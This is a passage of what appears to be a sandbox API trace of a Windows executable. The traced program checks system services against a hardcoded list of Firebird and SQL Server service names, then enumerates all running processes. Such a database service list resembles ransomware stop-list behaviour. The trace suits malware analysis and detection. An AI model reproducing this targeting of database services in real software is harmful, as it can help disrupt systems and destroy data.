(lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.617] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0160.617] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0160.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0160.617] lstrlenW (lpString="RpcSs") returned 5 [0160.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0160.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0160.617] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0160.617] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0160.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0160.617] lstrlenW (lpString="SamSs") returned 5 [0160.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0160.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0160.618] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0160.618] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0160.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0160.618] lstrlenW (lpString="Schedule") returned 8 [0160.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0160.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0160.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0160.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0160.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0160.618] lstrlenW (lpString="SecurityHealthService") returned 21 [0160.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.618] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0160.618] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0160.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0160.618] lstrlenW (lpString="SENS") returned 4 [0160.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0160.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0160.618] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0160.618] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0160.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0160.618] lstrlenW (lpString="ShellHWDetection") returned 16 [0160.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.618] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0160.618] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0160.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0160.618] lstrlenW (lpString="Spooler") returned 7 [0160.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0160.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0160.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0160.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0160.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0160.619] lstrlenW (lpString="SSDPSRV") returned 7 [0160.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0160.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0160.619] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0160.619] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0160.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0160.619] lstrlenW (lpString="StateRepository") returned 15 [0160.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0160.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0160.619] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0160.619] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0160.619] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e9780 | out: hHeap=0x790000) returned 1 [0160.619] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0160.623] Process32FirstW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.624] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0160.624] lstrlenW (lpString="System") returned 6 [0160.624] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0160.625] lstrlenW (lpString="smss.exe") returned 8 [0160.625] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.626] lstrlenW (lpString="csrss.exe") returned 9 [0160.626] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0160.626] lstrlenW (lpString="wininit.exe") returned 11 [0160.626] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.627] lstrlenW (lpString="csrss.exe") returned 9 [0160.627] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0160.628] lstrlenW (lpString="winlogon.exe") returned 12 [0160.628] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0160.629] lstrlenW (lpString="services.exe") returned 12 [0160.629] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0160.630] lstrlenW (lpString="lsass.exe") returned 9 [0160.630] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.630] lstrlenW (lpString="svchost.exe") returned 11 [0160.630] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0160.631] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0160.631] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0160.632] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0160.632] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.632] lstrlenW (lpString="svchost.exe") returned 11 [0160.632] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0160.633] lstrlenW (lpString="dwm.exe") returned 7 [0160.633] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.786] lstrlenW (lpString="svchost.exe") returned 11 [0160.786] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.786] lstrlenW (lpString="svchost.exe") returned 11 [0160.786] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.787] lstrlenW (lpString="svchost.exe") returned 11 [0160.787] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.788] lstrlenW (lpString="svchost.exe") returned 11 [0160.788] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.788] lstrlenW (lpString="svchost.exe") returned 11 [0160.788] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.789] lstrlenW (lpString="svchost.exe") returned 11 [0160.789] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.790] lstrlenW (lpString="svchost.exe") returned 11 [0160.790] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.790] lstrlenW (lpString="svchost.exe") returned 11 [0160.790] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.791] lstrlenW (lpString="svchost.exe") returned 11 [0160.791] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0160.792] lstrlenW (lpString="spoolsv.exe") returned 11 [0160.792] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.793] lstrlenW (lpString="svchost.exe") returned 11 [0160.793] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.794] lstrlenW (lpString="svchost.exe") returned 11 [0160.794] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0160.794] lstrlenW (lpString="audiodg.exe") returned 11 [0160.794] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0160.795] lstrlenW (lpString="sihost.exe") returned 10 [0160.795] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.796] lstrlenW (lpString="svchost.exe") returned 11 [0160.796] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0160.796] lstrlenW (lpString="taskhostw.exe") returned 13 [0160.796] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0160.797] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0160.797] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0160.798] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0160.798] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0160.798] lstrlenW (lpString="explorer.exe") returned 12 [0160.798] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0160.799] lstrlenW (lpString="Memory Compression") returned 18 [0160.799] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0160.800] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0160.800] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0160.800] lstrlenW (lpString="SearchUI.exe") returned 12 [0160.800] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0161.154] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0161.154] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0161.155] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0161.155] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0161.156] lstrlenW (lpString="taskhostw.exe") returned 13 [0161.156] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0161.156] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0161.156] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0161.157] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0161.157] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0161.158] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0161.158] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0161.158] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0161.158] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0161.159] lstrlenW (lpString="conhost.exe") returned 11 [0161.159] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0161.160] lstrlenW (lpString="screensaver.exe") returned 15 [0161.160] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0161.161] lstrlenW (lpString="upperarc.exe") returned 12 [0161.161] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0161.161] lstrlenW (lpString="buying.exe") returned 10 [0161.161] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0161.162] lstrlenW (lpString="downloadable.exe") returned 16 [0161.162] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0161.163] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0161.163] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0161.163] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0161.163] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0161.164] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0161.164] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0161.165] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0161.165] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0161.166] lstrlenW (lpString="moments.exe") returned 11 [0161.166] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0161.166] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0161.166] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0161.167] lstrlenW (lpString="stream-test.exe") returned 15 [0161.167] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0161.168] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0161.168] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0161.169] lstrlenW (lpString="taskhostw.exe") returned 13 [0161.169] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0161.179] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0161.179] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, 